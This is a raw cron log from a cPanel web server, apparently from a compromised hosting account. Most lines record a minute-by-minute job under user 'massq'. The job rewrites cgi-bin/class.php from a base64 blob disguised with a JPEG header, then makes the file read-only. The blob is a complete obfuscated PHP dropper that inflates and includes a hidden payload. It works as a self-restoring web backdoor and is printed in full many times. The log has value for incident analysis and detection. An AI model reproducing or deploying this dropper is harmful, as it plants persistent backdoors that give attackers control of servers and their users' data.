Nov 16 01:26:01 server CROND[29245]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:27:01 server CROND[29428]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:27:01 server CROND[29429]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 16 01:28:01 server CROND[29635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:29:01 server CROND[29809]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:30:01 server CROND[29994]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:30:01 server CROND[29995]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 01:30:01 server CROND[29996]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 16 01:30:01 server CROND[30001]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:31:01 server CROND[30227]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:32:01 server CROND[30402]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:33:01 server CROND[30666]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:34:01 server CROND[30843]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:35:01 server CROND[31034]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 16 01:35:01 server CROND[31036]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 16 01:35:01 server CROND[31039]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 16 01:35:01 server CROND[31041]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:35:01 server CROND[31040]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 16 01:36:01 server CROND[31429]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:37:01 server CROND[31602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 16 01:38:01 server CROND[31896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
